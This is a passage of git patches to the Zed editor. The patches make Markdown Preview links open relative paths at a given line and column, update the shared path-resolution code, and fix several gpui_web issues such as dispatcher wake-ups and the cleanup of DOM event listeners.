@@ -6351,8 +6367,8 @@ impl ToolCallEventStream {
                 };
                 futures::select_biased! {
                     outcome = (&mut response_rx).fuse() => {
-                        let outcome = outcome
-                            .map_err(|_| anyhow!("authorization channel closed"))?;
+                        let outcome = outcome.map_err(|_| anyhow!("authorization channel closed"))?;
+                        ensure_tool_call_authorization_not_interrupted(&outcome)?;
                         return Self::persist_permission_outcome(&outcome, fs.clone(), cx);
                     }
                     _ = settings_changed.fuse() => {

From 4a1df1f7ca80e59f8cff48d3d1eb10bae4d3bc25 Mon Sep 17 00:00:00 2001
From: Kevin Bravo <79945749+0bkevin@users.noreply.github.com>
Date: Tue, 28 Jul 2026 01:45:13 -0400
Subject: [PATCH 728/772] markdown_preview: Open relative links at line
 (#60864)

Closes #60733

# Objective

Markdown Preview treats a relative `path:line[:column]` destination as a
literal filename. When that file does not exist, the link falls through
to the system URL handler instead of opening the workspace file at the
requested position.

## Solution

- Recognize position suffixes on relative Markdown links.
- Convert GitHub-style `#L42` fragments into the same positioned target
used by `path:42`, so both forms share one resolution and opening path.
- Resolve links with `workspace::path_link::possible_open_target` using
the Markdown source directory. This keeps the remote-project path
resolution added in #61438.
- Open resolved targets with `editor::items::open_resolved_target`,
including its one-based row and column handling.
- Preserve valid URI schemes and fall back to the existing Markdown link
behavior when no workspace target resolves.

## Testing

- Extended the Markdown Preview GPUI regression test to cover relative
`path:line:column`, GitHub-style `#Lline`, subfolder-relative
resolution, and custom URI schemes.
- `git diff --check` passes.
- The focused Rust test could not start in the current macOS environment
because the Rust toolchain binaries hang in the dynamic loader before
Cargo runs. PR Actions are awaiting maintainer approval.

## Self-Review Checklist:

- [x] I have reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed UI and icon guidelines
- [x] Tests cover the new and changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed Markdown Preview links using workspace-relative paths with line
and column suffixes.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 .../src/markdown_preview_view.rs              | 241 ++++++++++++------
 .../src/terminal_path_like_target.rs          |  17 +-
 crates/workspace/src/path_link.rs             |  56 +++-
 3 files changed, 215 insertions(+), 99 deletions(-)

diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index 98088370f01df7..e2496ae6e46205 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -7,6 +7,7 @@ use std::sync::Arc;
 use std::time::Duration;
 
 use anyhow::{Context as _, Result};
+use editor::items::open_resolved_target;
 use editor::scroll::Autoscroll;
 use editor::{Editor, EditorEvent, MultiBufferOffset, SelectionEffects};
 use gpui::{
@@ -14,7 +15,7 @@ use gpui::{
     InteractiveElement, IntoElement, IsZero, Pixels, Render, Resource, RetainAllImageCache,
     ScrollHandle, SharedString, SharedUri, Subscription, Task, WeakEntity, Window, point, px,
 };
-use language::{LanguageRegistry, Point};
+use language::LanguageRegistry;
 use markdown::{
     CodeBlockRenderer, CopyButtonVisibility, Markdown, MarkdownElement, MarkdownFont,
     MarkdownOptions, MarkdownStyle,
@@ -29,9 +30,11 @@ use ui::{ContextMenu, LinkPreview, WithScrollbar, prelude::*, right_click_menu};
 use util::{
     ResultExt,
     markdown::{source_position_from_fragment, split_local_url_fragment},
+    paths::PathWithPosition,
 };
 use workspace::item::{Item, ItemBufferKind, ItemHandle, SaveOptions, SerializableItem};
-use workspace::notifications::NotifyResultExt;
+use workspace::notifications::{NotifyResultExt, NotifyTaskExt};
+use workspace::path_link::{PathMatching, resolve_open_target};
 use workspace::searchable::{
     Direction, SearchEvent, SearchOptions, SearchToken, SearchableItem, SearchableItemHandle,
 };
@@ -1093,20 +1096,36 @@ fn open_preview_url(
 ) {
     let decoded_path = urlencoding::decode(&url).unwrap_or_else(|_| Cow::Borrowed(&url));
 
-    if let Some(row) = fragment
-        .as_deref()
-        .and_then(|fragment| fragment.strip_prefix('L'))
-        .and_then(source_position_from_fragment)
-        .map(|(row, _)| row)
-        && open_preview_path_at_line(
-            decoded_path.to_string(),
-            base_directory.clone(),
+    // Only `://` URLs skip position handling (a scheme check would misclassify `main.rs:2`); ambiguous links like `tel:123` are tried as files first, then fall back to the URL handler.
+    let path_with_position = if !decoded_path.contains("://") {
+        if PathWithPosition::parse_str(&decoded_path).row.is_some() {
+            Some(decoded_path.to_string())
+        } else {
+            fragment
+                .as_deref()
+                .and_then(|fragment| fragment.strip_prefix('L'))
+                .and_then(source_position_from_fragment)
+                .map(|(row, column)| {
+                    if column == 0 {
+                        format!("{decoded_path}:{}", row + 1)
+                    } else {
+                        format!("{decoded_path}:{}:{}", row + 1, column + 1)
+                    }
+                })
+        }
+    } else {
+        None
+    };
+
+    if let Some(path_with_position) = path_with_position {
+        open_preview_path_with_position(
+            path_with_position,
+            decoded_path.into_owned(),
+            base_directory,
             workspace,
-            row,
             window,
             cx,
-        )
-    {
+        );
         return;
     }
 
@@ -1119,75 +1138,41 @@ fn open_preview_url(
     }
 }
 
-enum PreviewPathTarget {
-    Project(ProjectPath),
-    Absolute(PathBuf),
-}
-
-fn open_preview_path_at_line(
-    path: String,
+fn open_preview_path_with_position(
+    path_with_position: String,
+    fallback_path: String,
     base_directory: Option<PathBuf>,
     workspace: &WeakEntity<Workspace>,
-    row: u32,
     window: &mut Window,
     cx: &mut App,
-) -> bool {
-    let Some(workspace) = workspace.upgrade() else {
-        return false;
-    };
-    let project = workspace.read(cx).project().clone();
-    let path_style = project.read(cx).path_style(cx);
-    let target = if path_style.is_absolute(&path) {
-        Some(PreviewPathTarget::Absolute(PathBuf::from(path)))
-    } else if project.read(cx).is_local()
-        && let Some(resolved) = base_directory
-            .as_deref()
-            .map(|base_directory| base_directory.join(&path))
-        && resolved.exists()
-    {
-        Some(PreviewPathTarget::Absolute(resolved))
-    } else {
-        project
-            .update(cx, |project, cx| project.find_project_path(&path, cx))
-            .map(PreviewPathTarget::Project)
-    };
-    let Some(target) = target else {
-        return false;
-    };
+) {
+    let open_target = resolve_open_target(
+        workspace,
+        PathMatching::Exact,
+        &path_with_position,
+        base_directory.as_deref(),
+        cx,
+    );
+    let workspace = workspace.clone();
+    let workspace_for_error = workspace.clone();
+    let task = window.spawn(cx, async move |cx| {
+        let opened = if let Some(open_target) = open_target.await {
+            open_resolved_target(&workspace, &open_target, cx)
+                .await
+                .context("opening Markdown preview link")?
+        } else {
+            false
+        };
 
-    let task = workspace.update(cx, |workspace, cx| match target {
-        PreviewPathTarget::Project(project_path) => {
-            workspace.open_path(project_path, None, true, window, cx)
+        if !opened {
+            workspace.update_in(cx, |workspace, window, cx| {
+                workspace.open_url_or_file(&fallback_path, base_directory.as_deref(), window, cx);
+            })?;
         }
-        PreviewPathTarget::Absolute(abs_path) => workspace.open_abs_path(
-            abs_path,
-            workspace::OpenOptions {
-                focus: Some(true),
-                ..Default::default()
-            },
-            window,
-            cx,
-        ),
+
+        anyhow::Ok(())
     });
-    window
-        .spawn(cx, async move |cx| {
-            let item = task.await?;
-            let Some(editor) = item.downcast::<Editor>() else {
-                return anyhow::Ok(());
-            };
-            editor.update_in(cx, |editor, window, cx| {
-                let point = Point::new(row, 0);
-                editor.change_selections(
-                    SelectionEffects::scroll(Autoscroll::center()),
-                    window,
-                    cx,
-                    |selections| selections.select_ranges([point..point]),
-                );
-            })?;
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    true
+    task.detach_and_notify_err(workspace_for_error, window, cx);
 }
 
 fn resolve_preview_image(
@@ -1853,13 +1838,16 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn opens_preview_file_link_at_line(cx: &mut TestAppContext) {
+    async fn opens_preview_file_links_at_positions(cx: &mut TestAppContext) {
         init_test(cx);
 
         let fs = FakeFs::new(cx.executor());
         fs.insert_tree(
             path!("/project"),
-            json!({"src": {"main.rs": "first\nsecond\nthird\n"}}),
+            json!({
+                "docs": {"guide.md": "alpha\nbeta\ngamma\n"},
+                "src": {"main.rs": "first\nsecond\nthird\n"}
+            }),
         )
         .await;
         let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
@@ -1871,9 +1859,9 @@ mod tests {
 
         multi_workspace.update_in(cx, |_, window, cx| {
             open_preview_url(
-                "src/main.rs".into(),
-                Some("L2".into()),
+                "../src/main.rs:2:4".into(),
                 None,
+                Some(PathBuf::from(path!("/project/docs"))),
                 &workspace_weak,
                 window,
                 cx,
@@ -1889,8 +1877,101 @@ mod tests {
         });
         editor.update_in(cx, |editor, window, cx| {
             let snapshot = editor.snapshot(window, cx);
-            assert_eq!(editor.selections.newest::<Point>(&snapshot).head().row, 1);
+            assert_eq!(
+                editor.selections.newest::<Point>(&snapshot).head(),
+                Point::new(1, 3)
+            );
         });
+
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "../src/main.rs".into(),
+                Some("L3".into()),
+                Some(PathBuf::from(path!("/project/docs"))),
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(
+                editor.selections.newest::<Point>(&snapshot).head(),
+                Point::new(2, 0)
+            );
+        });
+
+        // `guide.md:2` must open the sibling file at line 2 despite `guide.md:` being a valid URI scheme prefix.
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "guide.md:2".into(),
+                None,
+                Some(PathBuf::from(path!("/project/docs"))),
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        let guide_editor = workspace.read_with(cx, |workspace, cx| {
+            workspace
+                .active_item(cx)
+                .and_then(|item| item.downcast::<Editor>())
+                .expect("guide.md should be open in an editor")
+        });
+        guide_editor.update_in(cx, |editor, window, cx| {
+            let file_path = editor
+                .buffer()
+                .read(cx)
+                .as_singleton()
+                .and_then(|buffer| buffer.read(cx).file().map(|file| file.path().clone()))
+                .expect("opened editor should have a file");
+            assert_eq!(file_path.as_ref(), rel_path("docs/guide.md"));
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(
+                editor.selections.newest::<Point>(&snapshot).head(),
+                Point::new(1, 0)
+            );
+        });
+
+        // An unresolved link must not open an unrelated file that merely shares its trailing path components.
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "main.rs:2".into(),
+                None,
+                Some(PathBuf::from(path!("/project/docs"))),
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        assert_eq!(cx.opened_url().as_deref(), Some("main.rs:2"));
+        editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(
+                editor.selections.newest::<Point>(&snapshot).head(),
+                Point::new(2, 0),
+                "broken link must not move the cursor in a suffix-matching file"
+            );
+        });
+
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "tel:123".into(),
+                None,
+                Some(PathBuf::from(path!("/project/docs"))),
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        assert_eq!(cx.opened_url().as_deref(), Some("tel:123"));
     }
 
     #[gpui::test]
diff --git a/crates/terminal_view/src/terminal_path_like_target.rs b/crates/terminal_view/src/terminal_path_like_target.rs
index 79db03e2bbcf02..6a4a943b1432b7 100644
--- a/crates/terminal_view/src/terminal_path_like_target.rs
+++ b/crates/terminal_view/src/terminal_path_like_target.rs
@@ -4,11 +4,12 @@ use editor::items::open_resolved_target;
 use gpui::{Context, Task, TaskExt, WeakEntity, Window};
 use std::path::PathBuf;
 use terminal::PathLikeTarget;
+use workspace::path_link::PathMatching;
 #[cfg(not(test))]
-use workspace::path_link::possible_open_target;
+use workspace::path_link::resolve_open_target;
 #[cfg(test)]
 use workspace::path_link::{
-    BackgroundPathChecks, OpenTargetFoundBy, possible_open_target_with_fs_checks,
+    BackgroundPathChecks, OpenTargetFoundBy, resolve_open_target_with_fs_checks,
 };
 use workspace::{Workspace, path_link::OpenTarget};
 
@@ -42,15 +43,17 @@ fn possible_hover_target(
     #[cfg(test)] background_path_checks: BackgroundPathChecks,
 ) -> Task<()> {
     #[cfg(not(test))]
-    let file_to_open_task = possible_open_target(
+    let file_to_open_task = resolve_open_target(
         workspace,
+        PathMatching::Heuristic,
         &path_like_target.maybe_path,
         path_like_target.terminal_dir.as_deref(),
         cx,
     );
     #[cfg(test)]
-    let file_to_open_task = possible_open_target_with_fs_checks(
+    let file_to_open_task = resolve_open_target_with_fs_checks(
         workspace,
+        PathMatching::Heuristic,
         &path_like_target.maybe_path,
         path_like_target.terminal_dir.as_deref(),
         cx,
@@ -119,8 +122,9 @@ fn possibly_open_target(
             .update(cx, |_, cx| {
                 #[cfg(not(test))]
                 {
-                    possible_open_target(
+                    resolve_open_target(
                         &workspace,
+                        PathMatching::Heuristic,
                         &path_like_target.maybe_path,
                         path_like_target.terminal_dir.as_deref(),
                         cx,
@@ -128,8 +132,9 @@ fn possibly_open_target(
                 }
                 #[cfg(test)]
                 {
-                    possible_open_target_with_fs_checks(
+                    resolve_open_target_with_fs_checks(
                         &workspace,
+                        PathMatching::Heuristic,
                         &path_like_target.maybe_path,
                         path_like_target.terminal_dir.as_deref(),
                         cx,
diff --git a/crates/workspace/src/path_link.rs b/crates/workspace/src/path_link.rs
index 42efbc0779ef47..d451e3b2fa9b7b 100644
--- a/crates/workspace/src/path_link.rs
+++ b/crates/workspace/src/path_link.rs
@@ -22,6 +22,15 @@ pub enum BackgroundPathChecks {
     ProjectPathResolution,
 }
 
+/// How a path-like string gets matched against files by [`resolve_open_target`].
+#[derive(Debug, Clone, Copy, Eq, PartialEq)]
+pub enum PathMatching {
+    /// Only exact matches (absolute, `cwd`-relative, or worktree-root-relative), so broken document links resolve to `None`.
+    Exact,
+    /// Additionally guess terminal-output paths: strip git diff `a/`/`b/` prefixes and scan worktrees for trailing path matches.
+    Heuristic,
+}
+
 #[derive(Debug, Clone)]
 pub enum OpenTarget {
     Worktree(
@@ -126,28 +135,38 @@ pub fn first_unbalanced_open_paren(text: &str) -> Option<usize> {
     first_unmatched.filter(|_| balance > 0)
 }
 
-pub fn possible_open_target(
+pub fn resolve_open_target(
     workspace: &WeakEntity<Workspace>,
+    matching: PathMatching,
     maybe_path: &str,
     cwd: Option<&Path>,
     cx: &App,
 ) -> Task<Option<OpenTarget>> {
-    possible_open_target_internal(workspace, maybe_path, cwd, cx, None)
+    resolve_open_target_internal(workspace, matching, maybe_path, cwd, cx, None)
 }
 
 #[cfg(any(test, feature = "test-support"))]
-pub fn possible_open_target_with_fs_checks(
+pub fn resolve_open_target_with_fs_checks(
     workspace: &WeakEntity<Workspace>,
+    matching: PathMatching,
     maybe_path: &str,
     cwd: Option<&Path>,
     cx: &App,
     background_path_checks: BackgroundPathChecks,
 ) -> Task<Option<OpenTarget>> {
-    possible_open_target_internal(workspace, maybe_path, cwd, cx, Some(background_path_checks))
+    resolve_open_target_internal(
+        workspace,
+        matching,
+        maybe_path,
+        cwd,
+        cx,
+        Some(background_path_checks),
+    )
 }
 
-fn possible_open_target_internal(
+fn resolve_open_target_internal(
     workspace: &WeakEntity<Workspace>,
+    matching: PathMatching,
     maybe_path: &str,
     cwd: Option<&Path>,
     cx: &App,
@@ -172,8 +191,11 @@ fn possible_open_target_internal(
         })
         .collect::<Vec<_>>();
 
-    const GIT_DIFF_PATH_PREFIXES: &[&str] = &["a", "b"];
-    for prefix_str in GIT_DIFF_PATH_PREFIXES.iter().chain(std::iter::once(&".")) {
+    let prefixes_to_strip: &[&str] = match matching {
+        PathMatching::Heuristic => &["a", "b", "."],
+        PathMatching::Exact => &["."],
+    };
+    for prefix_str in prefixes_to_strip {
         if let Some(stripped) = original_path.path.strip_prefix(prefix_str).ok() {
             potential_paths.push(PathWithPosition {
                 path: stripped.to_owned(),
@@ -309,7 +331,7 @@ fn possible_open_target_internal(
     let background_resolution_task = match background_path_checks {
         BackgroundPathChecks::LocalFileSystem => {
             let fs_paths_to_check =
-                local_paths_to_check(&potential_paths, cwd, &worktree_candidates, cx);
+                local_paths_to_check(&potential_paths, matching, cwd, &worktree_candidates, cx);
             let fs = project.read(cx).fs().clone();
             cx.background_spawn(async move {
                 for mut path_to_check in fs_paths_to_check {
@@ -384,6 +406,11 @@ fn possible_open_target_internal(
             return Some(open_target);
         }
 
+        // An inexact path must not resolve to an unrelated file sharing its trailing components.
+        if matching == PathMatching::Exact {
+            return None;
+        }
+
         let worktree_paths_to_check = worktree_paths_to_check
             .into_iter()
             .map(|(worktree, paths_to_check)| {
@@ -434,6 +461,7 @@ fn possible_open_target_internal(
 
 fn local_paths_to_check(
     potential_paths: &[PathWithPosition],
+    matching: PathMatching,
     cwd: Option<&Path>,
     worktree_candidates: &[Entity<Worktree>],
     cx: &App,
@@ -467,11 +495,13 @@ fn local_paths_to_check(
                     });
                 }
             } else {
-                paths_to_check.push(PathWithPosition {
-                    path: maybe_path.clone(),
-                    row: path_to_check.row,
-                    column: path_to_check.column,
-                });
+                if maybe_path.is_absolute() || matching == PathMatching::Heuristic {
+                    paths_to_check.push(PathWithPosition {
+                        path: maybe_path.clone(),
+                        row: path_to_check.row,
+                        column: path_to_check.column,
+                    });
+                }
                 if maybe_path.is_relative() {
                     for worktree in worktree_candidates {
                         if !worktree.read(cx).is_single_file() {

From c97b7c0ea41acf56e9726964eca10c2078e921b0 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Tue, 28 Jul 2026 08:22:31 +0200
Subject: [PATCH 729/772] gpui_web: Fix some bugs (#61707)

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock                         |   1 -
 Cargo.toml                         |   3 +
 crates/gpui_platform/Cargo.toml    |   2 +-
 crates/gpui_web/Cargo.toml         |   9 +-
 crates/gpui_web/src/dispatcher.rs  |  34 +--
 crates/gpui_web/src/display.rs     |   5 +-
 crates/gpui_web/src/events.rs      | 359 +++++++++++++++--------------
 crates/gpui_web/src/http_client.rs |  50 ++--
 crates/gpui_web/src/keyboard.rs    |   6 -
 crates/gpui_web/src/logging.rs     |  10 +-
 crates/gpui_web/src/platform.rs    |  67 +++---
 crates/gpui_web/src/window.rs      | 230 ++++++++++++------
 crates/gpui_wgpu/Cargo.toml        |   4 +-
 13 files changed, 436 insertions(+), 344 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 0bf1f8a61cfbbc..ebc0bcebc8d261 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -8032,7 +8032,6 @@ dependencies = [
  "log",
  "parking_lot",
  "raw-window-handle",
- "smallvec",
  "uuid",
  "wasm-bindgen",
  "wasm-bindgen-futures",
diff --git a/Cargo.toml b/Cargo.toml
index 4056f9d568a372..6c1a3251abdd2b 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -886,6 +886,9 @@ wasmtime-wasi = "36"
 wax = "0.7"
 which = "6.0.0"
 wasm-bindgen = "0.2.120"
+wasm-bindgen-futures = "0.4"
+js-sys = "0.3"
+console_error_panic_hook = "0.1.7"
 web-time = "1.1.0"
 webrtc-sys = "0.3.23"
 wgpu = "29.0.4"
diff --git a/crates/gpui_platform/Cargo.toml b/crates/gpui_platform/Cargo.toml
index 22d44a96b21112..a41cb176722781 100644
--- a/crates/gpui_platform/Cargo.toml
+++ b/crates/gpui_platform/Cargo.toml
@@ -35,4 +35,4 @@ gpui_linux.workspace = true
 
 [target.'cfg(target_family = "wasm")'.dependencies]
 gpui_web.workspace = true
-console_error_panic_hook = "0.1.7"
+console_error_panic_hook.workspace = true
diff --git a/crates/gpui_web/Cargo.toml b/crates/gpui_web/Cargo.toml
index 45420bf880f0f8..a29ca34060744b 100644
--- a/crates/gpui_web/Cargo.toml
+++ b/crates/gpui_web/Cargo.toml
@@ -24,13 +24,12 @@ http_client.workspace = true
 anyhow.workspace = true
 futures.workspace = true
 log.workspace = true
-smallvec.workspace = true
 uuid.workspace = true
 wasm-bindgen.workspace = true
-wasm-bindgen-futures = "0.4"
+wasm-bindgen-futures.workspace = true
 web-time.workspace = true
-console_error_panic_hook = "0.1.7"
-js-sys = "0.3"
+console_error_panic_hook.workspace = true
+js-sys.workspace = true
 raw-window-handle.workspace = true
 wasm_thread = { version = "0.3", features = ["es_modules"], optional = true }
 web-sys = { version = "0.3", features = [
@@ -45,8 +44,6 @@ web-sys = { version = "0.3", features = [
     "DragEvent",
     "Element",
     "EventTarget",
-    "File",
-    "FileList",
     "HtmlCanvasElement",
     "HtmlElement",
     "HtmlInputElement",
diff --git a/crates/gpui_web/src/dispatcher.rs b/crates/gpui_web/src/dispatcher.rs
index 9bcacbdecb5abc..58b921dfbcb95e 100644
--- a/crates/gpui_web/src/dispatcher.rs
+++ b/crates/gpui_web/src/dispatcher.rs
@@ -10,7 +10,6 @@ use web_time::Instant;
 #[cfg(feature = "multithreaded")]
 const MIN_BACKGROUND_THREADS: usize = 2;
 
-#[cfg(feature = "multithreaded")]
 fn shared_memory_supported() -> bool {
     let global = js_sys::global();
     let has_shared_array_buffer =
@@ -90,6 +89,11 @@ impl MainThreadMailbox {
             loop {
                 js_sys::Atomics::store(&view, 0, 0).expect("Atomics.store failed");
 
+                // Items posted between the previous drain and the store above
+                // set the signal we just cleared, so their notify is lost.
+                // Drain again after re-arming to avoid missing them.
+                mailbox.drain(&window);
+
                 let result = match js_sys::Atomics::wait_async(&view, 0, 0) {
                     Ok(result) => result,
                     Err(error) => {
@@ -103,17 +107,17 @@ impl MainThreadMailbox {
                     .and_then(|v| v.as_bool())
                     .unwrap_or(false);
 
-                if !is_async {
-                    log::error!("Atomics.waitAsync returned synchronously; waker loop exiting");
-                    break;
-                }
-
-                let promise: js_sys::Promise =
-                    js_sys::Reflect::get(&result, &JsValue::from_str("value"))
-                        .expect("waitAsync result missing 'value'")
-                        .unchecked_into();
+                // `async: false` means the signal changed between the store and
+                // the wait ("not-equal"): work has already arrived, so skip
+                // waiting and drain immediately.
+                if is_async {
+                    let promise: js_sys::Promise =
+                        js_sys::Reflect::get(&result, &JsValue::from_str("value"))
+                            .expect("waitAsync result missing 'value'")
+                            .unchecked_into();
 
-                let _ = wasm_bindgen_futures::JsFuture::from(promise).await;
+                    let _ = wasm_bindgen_futures::JsFuture::from(promise).await;
+                }
 
                 mailbox.drain(&window);
             }
@@ -145,14 +149,12 @@ impl WebDispatcher {
 
         let main_thread_mailbox = Arc::new(MainThreadMailbox::new());
 
-        #[cfg(feature = "multithreaded")]
-        let supports_threads = allow_threads && shared_memory_supported();
-        #[cfg(not(feature = "multithreaded"))]
-        let supports_threads = false;
+        let supports_threads =
+            cfg!(feature = "multithreaded") && allow_threads && shared_memory_supported();
 
         if supports_threads {
             main_thread_mailbox.run_waker_loop(browser_window.clone());
-        } else {
+        } else if cfg!(feature = "multithreaded") && allow_threads {
             log::warn!(
                 "SharedArrayBuffer not available; falling back to single-threaded dispatcher"
             );
diff --git a/crates/gpui_web/src/display.rs b/crates/gpui_web/src/display.rs
index 5023e7de33ea10..aaf70c67b5f167 100644
--- a/crates/gpui_web/src/display.rs
+++ b/crates/gpui_web/src/display.rs
@@ -8,7 +8,10 @@ pub struct WebDisplay {
     browser_window: web_sys::Window,
 }
 
-// Safety: WASM is single-threaded — there is no concurrent access to `web_sys::Window`.
+// Safety: `web_sys::Window` is only accessed from the main thread. Displays
+// are handed out as `Rc<dyn PlatformDisplay>` and read by GPUI on the
+// foreground thread; background worker threads (when the `multithreaded`
+// feature is enabled) never touch them.
 unsafe impl Send for WebDisplay {}
 unsafe impl Sync for WebDisplay {}
 
diff --git a/crates/gpui_web/src/events.rs b/crates/gpui_web/src/events.rs
index 08434aada41589..471732671e10fb 100644
--- a/crates/gpui_web/src/events.rs
+++ b/crates/gpui_web/src/events.rs
@@ -1,19 +1,86 @@
 use std::rc::Rc;
 
 use gpui::{
-    Capslock, DispatchEventResult, ExternalPaths, FileDropEvent, KeyDownEvent, KeyUpEvent,
-    Keystroke, Modifiers, ModifiersChangedEvent, MouseButton, MouseDownEvent, MouseExitEvent,
-    MouseMoveEvent, MouseUpEvent, NavigationDirection, Pixels, PlatformInput, Point, ScrollDelta,
-    ScrollWheelEvent, TouchPhase, point, px,
+    Capslock, DispatchEventResult, KeyDownEvent, KeyUpEvent, Keystroke, Modifiers,
+    ModifiersChangedEvent, MouseButton, MouseDownEvent, MouseExitEvent, MouseMoveEvent,
+    MouseUpEvent, NavigationDirection, Pixels, PlatformInput, Point, ScrollDelta, ScrollWheelEvent,
+    TouchPhase, point, px,
 };
-use smallvec::smallvec;
 use wasm_bindgen::prelude::*;
 
 use crate::window::WebWindowInner;
 
 pub struct WebEventListeners {
-    #[allow(dead_code)]
-    closures: Vec<Closure<dyn FnMut(JsValue)>>,
+    _handles: Vec<EventListenerHandle>,
+}
+
+/// A DOM event listener that is removed from its target when dropped.
+///
+/// Dropping the `Closure` alone would leave the listener attached to the DOM
+/// pointing at a freed function; the next event would then throw "closure
+/// invoked after being dropped". Keeping the target alongside the closure
+/// lets `Drop` unregister the listener first.
+pub(crate) struct EventListenerHandle {
+    target: web_sys::EventTarget,
+    event_name: &'static str,
+    closure: Closure<dyn FnMut(JsValue)>,
+}
+
+impl EventListenerHandle {
+    pub(crate) fn add(
+        target: &web_sys::EventTarget,
+        event_name: &'static str,
+        handler: impl FnMut(JsValue) + 'static,
+    ) -> Self {
+        let closure = Closure::<dyn FnMut(JsValue)>::new(handler);
+        target
+            .add_event_listener_with_callback(event_name, closure.as_ref().unchecked_ref())
+            .ok();
+        Self {
+            target: target.clone(),
+            event_name,
+            closure,
+        }
+    }
+
+    /// Registers with `{passive: false}` so that `preventDefault()` works.
+    /// Needed for events like `wheel` which are passive by default in modern
+    /// browsers. Removal does not need to match the `passive` option, so
+    /// `Drop` works the same as for [`EventListenerHandle::add`].
+    fn add_non_passive(
+        target: &web_sys::EventTarget,
+        event_name: &'static str,
+        handler: impl FnMut(JsValue) + 'static,
+    ) -> Self {
+        let closure = Closure::<dyn FnMut(JsValue)>::new(handler);
+        let target_js: &JsValue = target.as_ref();
+        let callback_js: &JsValue = closure.as_ref();
+        let options = js_sys::Object::new();
+        js_sys::Reflect::set(&options, &"passive".into(), &false.into()).ok();
+        if let Ok(add_fn_val) = js_sys::Reflect::get(target_js, &"addEventListener".into()) {
+            if let Ok(add_fn) = add_fn_val.dyn_into::<js_sys::Function>() {
+                add_fn
+                    .call3(target_js, &event_name.into(), callback_js, &options)
+                    .ok();
+            }
+        }
+        Self {
+            target: target.clone(),
+            event_name,
+            closure,
+        }
+    }
+}
+
+impl Drop for EventListenerHandle {
+    fn drop(&mut self) {
+        self.target
+            .remove_event_listener_with_callback(
+                self.event_name,
+                self.closure.as_ref().unchecked_ref(),
+            )
+            .ok();
+    }
 }
 
 pub(crate) struct ClickState {
@@ -52,7 +119,7 @@ impl ClickState {
 
 impl WebWindowInner {
     pub fn register_event_listeners(self: &Rc<Self>) -> WebEventListeners {
-        let mut closures = vec![
+        let mut handles = vec![
             self.register_pointer_down(),
             self.register_pointer_up(),
             self.register_pointer_move(),
@@ -61,7 +128,6 @@ impl WebWindowInner {
             self.register_context_menu(),
             self.register_dragover(),
             self.register_drop(),
-            self.register_dragleave(),
             self.register_key_down(),
             self.register_key_up(),
             self.register_paste(),
@@ -71,72 +137,66 @@ impl WebWindowInner {
             self.register_focus(),
             self.register_blur(),
             self.register_pointer_enter(),
-            self.register_pointer_leave_hover(),
         ];
-        closures.extend(self.register_visibility_change());
-        closures.extend(self.register_appearance_change());
+        handles.extend(self.register_visibility_change());
+        handles.extend(self.register_appearance_change());
+        handles.extend(self.register_fullscreen_change());
 
-        WebEventListeners { closures }
+        WebEventListeners { _handles: handles }
     }
 
     fn listen(
         self: &Rc<Self>,
-        event_name: &str,
+        event_name: &'static str,
         handler: impl FnMut(JsValue) + 'static,
-    ) -> Closure<dyn FnMut(JsValue)> {
-        let closure = Closure::<dyn FnMut(JsValue)>::new(handler);
-        self.canvas
-            .add_event_listener_with_callback(event_name, closure.as_ref().unchecked_ref())
-            .ok();
-        closure
+    ) -> EventListenerHandle {
+        EventListenerHandle::add(self.canvas.as_ref(), event_name, handler)
     }
 
     fn listen_input(
         self: &Rc<Self>,
-        event_name: &str,
+        event_name: &'static str,
         handler: impl FnMut(JsValue) + 'static,
-    ) -> Closure<dyn FnMut(JsValue)> {
-        let closure = Closure::<dyn FnMut(JsValue)>::new(handler);
-        self.input_element
-            .add_event_listener_with_callback(event_name, closure.as_ref().unchecked_ref())
-            .ok();
-        closure
+    ) -> EventListenerHandle {
+        EventListenerHandle::add(self.input_element.as_ref(), event_name, handler)
     }
 
-    /// Registers a listener with `{passive: false}` so that `preventDefault()` works.
-    /// Needed for events like `wheel` which are passive by default in modern browsers.
     fn listen_non_passive(
         self: &Rc<Self>,
-        event_name: &str,
+        event_name: &'static str,
         handler: impl FnMut(JsValue) + 'static,
-    ) -> Closure<dyn FnMut(JsValue)> {
-        let closure = Closure::<dyn FnMut(JsValue)>::new(handler);
-        let canvas_js: &JsValue = self.canvas.as_ref();
-        let callback_js: &JsValue = closure.as_ref();
-        let options = js_sys::Object::new();
-        js_sys::Reflect::set(&options, &"passive".into(), &false.into()).ok();
-        if let Ok(add_fn_val) = js_sys::Reflect::get(canvas_js, &"addEventListener".into()) {
-            if let Ok(add_fn) = add_fn_val.dyn_into::<js_sys::Function>() {
-                add_fn
-                    .call3(canvas_js, &event_name.into(), callback_js, &options)
-                    .ok();
-            }
-        }
-        closure
+    ) -> EventListenerHandle {
+        EventListenerHandle::add_non_passive(self.canvas.as_ref(), event_name, handler)
     }
 
